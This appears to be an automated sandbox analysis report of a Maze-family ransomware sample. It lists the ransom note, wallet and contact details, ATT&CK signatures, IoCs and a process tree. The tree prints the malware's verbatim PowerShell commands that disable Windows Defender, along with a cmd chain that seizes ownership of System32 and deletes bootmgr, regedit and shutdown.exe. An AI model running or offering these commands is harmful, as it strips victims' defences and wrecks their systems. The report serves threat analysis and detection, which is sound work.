maze | 28a062934db772364022a16d60c799b1b66b1419593d409a4cd6f5d6b52c1b85

Analysis

max time kernel
375s
max time network
1816s
platform
windows10_x64
resource
win10-en-20210920
submitted
27-10-2021 09:06

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General

Target

b53415f6_lcvDB3iF4J.exe

Score

10^/10

maze discovery evasion exploit ransomware themida trojan

Malware Config

Extracted

Path

C:\Users\Admin\Desktop\DECRYPT-FILES.TXT

Ransom Note

Ooops! All your important files are encrypted! [+] What happend to my computer? [+] All your important files are encrypted. No one can help you to restore files without our special decryptor. Backups were either encrypted or deleted. Shadow copies also removed. If you want to restore some of your files for free write to email (contact is below) and attach 2-3 encrypted files. You will receive decrypted samples. To decrypt other files you have to pay $250. [+] How do i pay? [+] Payment is accepted in Bitcoin only. Please check the current price of Bitcoin and buy some Bitcoins. And send the correct amount to the address specified at the bottom. [+] How can i contact? [+] 1.Download Tor browser (https://www.torproject.org/) 2.Create account on mail2tor (http://mail2tor2zyjdctd.onion/) 3.Write email to us ([email protected]) If you can't use tor in your country you can write to us on our temporary email address. [+] What if i already paid? [+] Send your Bitcoin wallet ID to e-mail provided above. Attention! 1.Do not modify encrypted files. 2.Do not try decrypt your data using third party software. 3.Do not turn off your computer. Our bitcoin address: bc1q80xu9j6wpesm2jg2w4pzpyhqjd5wsrg46ap6pe Our temporary e-mail address: [email protected]

Emails

[email protected]

URLs

http://mail2tor2zyjdctd.onion/

Signatures

Maze
Ransomware family also known as ChaCha.
trojan ransomware maze
Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs
evasion

Query Registry
T1012

Virtualization/Sandbox Evasion
T1497
Disables Task Manager via registry modification
evasion

Executes dropped EXE 1 IoCs

pid	Process
1352	VSSVC.exe

Modifies extensions of user files 9 IoCs

Ransomware generally changes the extension on encrypted files.

ransomware

description	ioc	Process
File renamed	C:\Users\Admin\Pictures\GrantJoin.png => C:\Users\Admin\Pictures\GrantJoin.png.bc1q80xu9j6wpesm2jg2w4pzpyhqjd5wsrg46ap6pe	VSSVC.exe
File renamed	C:\Users\Admin\Pictures\InitializeLimit.raw => C:\Users\Admin\Pictures\InitializeLimit.raw.bc1q80xu9j6wpesm2jg2w4pzpyhqjd5wsrg46ap6pe	VSSVC.exe
File renamed	C:\Users\Admin\Pictures\NewHide.crw => C:\Users\Admin\Pictures\NewHide.crw.bc1q80xu9j6wpesm2jg2w4pzpyhqjd5wsrg46ap6pe	VSSVC.exe
File renamed	C:\Users\Admin\Pictures\SaveDeny.png => C:\Users\Admin\Pictures\SaveDeny.png.bc1q80xu9j6wpesm2jg2w4pzpyhqjd5wsrg46ap6pe	VSSVC.exe
File renamed	C:\Users\Admin\Pictures\UnprotectUpdate.raw => C:\Users\Admin\Pictures\UnprotectUpdate.raw.bc1q80xu9j6wpesm2jg2w4pzpyhqjd5wsrg46ap6pe	VSSVC.exe
File renamed	C:\Users\Admin\Pictures\ClearSuspend.raw => C:\Users\Admin\Pictures\ClearSuspend.raw.bc1q80xu9j6wpesm2jg2w4pzpyhqjd5wsrg46ap6pe	VSSVC.exe
File renamed	C:\Users\Admin\Pictures\ExpandSave.crw => C:\Users\Admin\Pictures\ExpandSave.crw.bc1q80xu9j6wpesm2jg2w4pzpyhqjd5wsrg46ap6pe	VSSVC.exe
File renamed	C:\Users\Admin\Pictures\InvokeUndo.crw => C:\Users\Admin\Pictures\InvokeUndo.crw.bc1q80xu9j6wpesm2jg2w4pzpyhqjd5wsrg46ap6pe	VSSVC.exe
File renamed	C:\Users\Admin\Pictures\ProtectLimit.raw => C:\Users\Admin\Pictures\ProtectLimit.raw.bc1q80xu9j6wpesm2jg2w4pzpyhqjd5wsrg46ap6pe	VSSVC.exe

Possible privilege escalation attempt 5 IoCs

exploit

pid	Process
368	takeown.exe
828	takeown.exe
2304	icacls.exe
3160	takeown.exe
1468	icacls.exe

Checks BIOS information in registry 2 TTPs 4 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	VSSVC.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	VSSVC.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	b53415f6_lcvDB3iF4J.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	b53415f6_lcvDB3iF4J.exe

Modifies file permissions 1 TTPs 5 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
1468	icacls.exe
368	takeown.exe
828	takeown.exe
2304	icacls.exe
3160	takeown.exe

Themida packer 4 IoCs

Detects Themida, an advanced Windows software protection system.

themida

resource	yara_rule
behavioral3/memory/2800-118-0x0000000001290000-0x0000000001291000-memory.dmp	themida
behavioral3/files/0x0002000000015295-138.dat	themida
behavioral3/files/0x0002000000015295-137.dat	themida
behavioral3/memory/1352-156-0x00000000009A0000-0x00000000009A1000-memory.dmp	themida

Checks whether UAC is enabled 1 TTPs 2 IoCs

evasion trojan

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	b53415f6_lcvDB3iF4J.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	VSSVC.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
2800	b53415f6_lcvDB3iF4J.exe
1352	VSSVC.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 12 IoCs

pid	Process
4072	powershell.exe
3448	powershell.exe
2960	powershell.exe
3680	powershell.exe
3680	powershell.exe
2960	powershell.exe
4072	powershell.exe
3448	powershell.exe
3680	powershell.exe
3448	powershell.exe
4072	powershell.exe
2960	powershell.exe

Suspicious use of AdjustPrivilegeToken 11 IoCs

description	pid	Process
Token: SeDebugPrivilege	2800	b53415f6_lcvDB3iF4J.exe
Token: SeDebugPrivilege	2800	b53415f6_lcvDB3iF4J.exe
Token: SeDebugPrivilege	2960	powershell.exe
Token: SeDebugPrivilege	3680	powershell.exe
Token: SeDebugPrivilege	4072	powershell.exe
Token: SeDebugPrivilege	3448	powershell.exe
Token: SeDebugPrivilege	1352	VSSVC.exe
Token: SeDebugPrivilege	1352	VSSVC.exe
Token: SeTakeOwnershipPrivilege	828	takeown.exe
Token: SeTakeOwnershipPrivilege	3160	takeown.exe
Token: SeTakeOwnershipPrivilege	368	takeown.exe

Suspicious use of WriteProcessMemory 33 IoCs

description	pid	Process	procid_target
PID 2800 wrote to memory of 2960	2800	b53415f6_lcvDB3iF4J.exe	70
PID 2800 wrote to memory of 2960	2800	b53415f6_lcvDB3iF4J.exe	70
PID 2800 wrote to memory of 2960	2800	b53415f6_lcvDB3iF4J.exe	70
PID 2800 wrote to memory of 3680	2800	b53415f6_lcvDB3iF4J.exe	73
PID 2800 wrote to memory of 3680	2800	b53415f6_lcvDB3iF4J.exe	73
PID 2800 wrote to memory of 3680	2800	b53415f6_lcvDB3iF4J.exe	73
PID 2800 wrote to memory of 3448	2800	b53415f6_lcvDB3iF4J.exe	72
PID 2800 wrote to memory of 3448	2800	b53415f6_lcvDB3iF4J.exe	72
PID 2800 wrote to memory of 3448	2800	b53415f6_lcvDB3iF4J.exe	72
PID 2800 wrote to memory of 4072	2800	b53415f6_lcvDB3iF4J.exe	74
PID 2800 wrote to memory of 4072	2800	b53415f6_lcvDB3iF4J.exe	74
PID 2800 wrote to memory of 4072	2800	b53415f6_lcvDB3iF4J.exe	74
PID 2800 wrote to memory of 1352	2800	b53415f6_lcvDB3iF4J.exe	78
PID 2800 wrote to memory of 1352	2800	b53415f6_lcvDB3iF4J.exe	78
PID 2800 wrote to memory of 1352	2800	b53415f6_lcvDB3iF4J.exe	78
PID 1352 wrote to memory of 3280	1352	VSSVC.exe	82
PID 1352 wrote to memory of 3280	1352	VSSVC.exe	82
PID 1352 wrote to memory of 3280	1352	VSSVC.exe	82
PID 3280 wrote to memory of 828	3280	cmd.exe	84
PID 3280 wrote to memory of 828	3280	cmd.exe	84
PID 3280 wrote to memory of 828	3280	cmd.exe	84
PID 3280 wrote to memory of 2304	3280	cmd.exe	85
PID 3280 wrote to memory of 2304	3280	cmd.exe	85
PID 3280 wrote to memory of 2304	3280	cmd.exe	85
PID 3280 wrote to memory of 3160	3280	cmd.exe	86
PID 3280 wrote to memory of 3160	3280	cmd.exe	86
PID 3280 wrote to memory of 3160	3280	cmd.exe	86
PID 3280 wrote to memory of 1468	3280	cmd.exe	87
PID 3280 wrote to memory of 1468	3280	cmd.exe	87
PID 3280 wrote to memory of 1468	3280	cmd.exe	87
PID 3280 wrote to memory of 368	3280	cmd.exe	88
PID 3280 wrote to memory of 368	3280	cmd.exe	88
PID 3280 wrote to memory of 368	3280	cmd.exe	88

C:\Users\Admin\AppData\Local\Temp\b53415f6_lcvDB3iF4J.exe
"C:\Users\Admin\AppData\Local\Temp\b53415f6_lcvDB3iF4J.exe"
1⤵
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2800
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisableRealtimeMonitoring $true
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2960
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -MAPSReporting Disable
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3448
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -SubmitSamplesConsent NeverSend
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3680
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" New-ItemProperty -Path 'HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender' -Name DisableAntiSpyware -Value 1 -PropertyType DWORD -Force
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4072
- C:\Users\Admin\AppData\Local\Temp\VSSVC.exe
  "C:\Users\Admin\AppData\Local\Temp\VSSVC.exe"
  2⤵
  - Executes dropped EXE
  - Modifies extensions of user files
  - Checks BIOS information in registry
  - Checks whether UAC is enabled
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1352
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /k takeown /f C:\Windows\System32 && icacls C:\Windows\System32 /grant %username%:F && takeown /f C:\Windows\System32\drivers && icacls C:\Windows\System32\drivers /grant %username%:F && takeown /f C:\Windows\System32\LogonUI.exe && icacls C:\Windows\System32\LogonUI.exe /grant %username%:F && takeown /f C:\bootmgr && icacls C:\bootmgr /grant %username%:F && attrib -s -r -h C:\bootmgr && del C:\bootmgr && takeown /f C:\Windows\regedit.exe && icacls C:\Windows\regedit.exe /grant %username%:F && del C:\Windows\regedit.exe && takeown /f C:\Windows\System32\shutdown.exe && icacls C:\Windows\System32\shutdown.exe /grant %username%:F && del C:\Windows\System32\shutdown.exe && Exit
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3280
  - - C:\Windows\SysWOW64\takeown.exe
      takeown /f C:\Windows\System32
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      Suspicious use of AdjustPrivilegeToken
      PID:828
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\Windows\System32 /grant Admin:F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:2304
  - - C:\Windows\SysWOW64\takeown.exe
      takeown /f C:\Windows\System32\drivers
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      Suspicious use of AdjustPrivilegeToken
      PID:3160
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\Windows\System32\drivers /grant Admin:F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:1468
  - - C:\Windows\SysWOW64\takeown.exe
      takeown /f C:\Windows\System32\LogonUI.exe
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      Suspicious use of AdjustPrivilegeToken
      PID:368

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Virtualization/Sandbox Evasion

T1497

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Virtualization/Sandbox Evasion

T1497

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/1352-159-0x0000000076E80000-0x000000007700E000-memory.dmp

Filesize
1.6MB

Download
memory/1352-156-0x00000000009A0000-0x00000000009A1000-memory.dmp

Filesize
4KB

Download
memory/1352-169-0x0000000005C10000-0x000000000610E000-memory.dmp

Filesize
5.0MB

Download
memory/2800-121-0x0000000006380000-0x0000000006381000-memory.dmp

Filesize
4KB

Download
memory/2800-122-0x0000000006430000-0x000000000692E000-memory.dmp

Filesize
5.0MB

Download
memory/2800-123-0x00000000064F0000-0x00000000064F1000-memory.dmp

Filesize
4KB

Download
memory/2800-115-0x0000000076E80000-0x000000007700E000-memory.dmp

Filesize
1.6MB

Download
memory/2800-118-0x0000000001290000-0x0000000001291000-memory.dmp

Filesize
4KB

Download
memory/2800-120-0x0000000006930000-0x0000000006931000-memory.dmp

Filesize
4KB

Download
memory/2960-130-0x0000000002DA0000-0x0000000002DA1000-memory.dmp

Filesize
4KB

Download
memory/2960-139-0x0000000002EC0000-0x0000000002EC1000-memory.dmp

Filesize
4KB

Download
memory/2960-150-0x0000000004870000-0x0000000004871000-memory.dmp

Filesize
4KB

Download
memory/2960-275-0x0000000004873000-0x0000000004874000-memory.dmp

Filesize
4KB

Download
memory/2960-134-0x0000000002DA0000-0x0000000002DA1000-memory.dmp

Filesize
4KB

Download
memory/2960-254-0x000000007EA40000-0x000000007EA41000-memory.dmp

Filesize
4KB

Download
memory/2960-155-0x0000000004872000-0x0000000004873000-memory.dmp

Filesize
4KB

Download
memory/2960-192-0x0000000002DA0000-0x0000000002DA1000-memory.dmp

Filesize
4KB

Download
memory/2960-188-0x00000000081A0000-0x00000000081A1000-memory.dmp

Filesize
4KB

Download
memory/2960-180-0x0000000007920000-0x0000000007921000-memory.dmp

Filesize
4KB

Download
memory/3448-274-0x0000000006983000-0x0000000006984000-memory.dmp

Filesize
4KB

Download
memory/3448-158-0x0000000006982000-0x0000000006983000-memory.dmp

Filesize
4KB

Download
memory/3448-131-0x0000000000B70000-0x0000000000B71000-memory.dmp

Filesize
4KB

Download
memory/3448-135-0x0000000000B70000-0x0000000000B71000-memory.dmp

Filesize
4KB

Download
memory/3448-152-0x0000000006980000-0x0000000006981000-memory.dmp

Filesize
4KB

Download
memory/3448-195-0x0000000000B70000-0x0000000000B71000-memory.dmp

Filesize
4KB

Download
memory/3448-250-0x000000007F190000-0x000000007F191000-memory.dmp

Filesize
4KB

Download
memory/3680-273-0x0000000006C03000-0x0000000006C04000-memory.dmp

Filesize
4KB

Download
memory/3680-133-0x0000000000BA0000-0x0000000000BA1000-memory.dmp

Filesize
4KB

Download
memory/3680-176-0x0000000007A50000-0x0000000007A51000-memory.dmp

Filesize
4KB

Download
memory/3680-257-0x000000007E6E0000-0x000000007E6E1000-memory.dmp

Filesize
4KB

Download
memory/3680-153-0x0000000006C02000-0x0000000006C03000-memory.dmp

Filesize
4KB

Download
memory/3680-166-0x0000000006F50000-0x0000000006F51000-memory.dmp

Filesize
4KB

Download
memory/3680-172-0x00000000079E0000-0x00000000079E1000-memory.dmp

Filesize
4KB

Download
memory/3680-193-0x0000000000BA0000-0x0000000000BA1000-memory.dmp

Filesize
4KB

Download
memory/3680-148-0x0000000006C00000-0x0000000006C01000-memory.dmp

Filesize
4KB

Download
memory/3680-129-0x0000000000BA0000-0x0000000000BA1000-memory.dmp

Filesize
4KB

Download
memory/3680-143-0x0000000007240000-0x0000000007241000-memory.dmp

Filesize
4KB

Download
memory/3680-184-0x0000000007DA0000-0x0000000007DA1000-memory.dmp

Filesize
4KB

Download
memory/4072-132-0x0000000000A60000-0x0000000000A61000-memory.dmp

Filesize
4KB

Download
memory/4072-128-0x0000000000A60000-0x0000000000A61000-memory.dmp

Filesize
4KB

Download
memory/4072-147-0x00000000044A0000-0x00000000044A1000-memory.dmp

Filesize
4KB

Download
memory/4072-276-0x00000000044A3000-0x00000000044A4000-memory.dmp

Filesize
4KB

Download
memory/4072-162-0x0000000006D90000-0x0000000006D91000-memory.dmp

Filesize
4KB

Download
memory/4072-154-0x00000000044A2000-0x00000000044A3000-memory.dmp

Filesize
4KB

Download
memory/4072-194-0x0000000000A60000-0x0000000000A61000-memory.dmp

Filesize
4KB

Download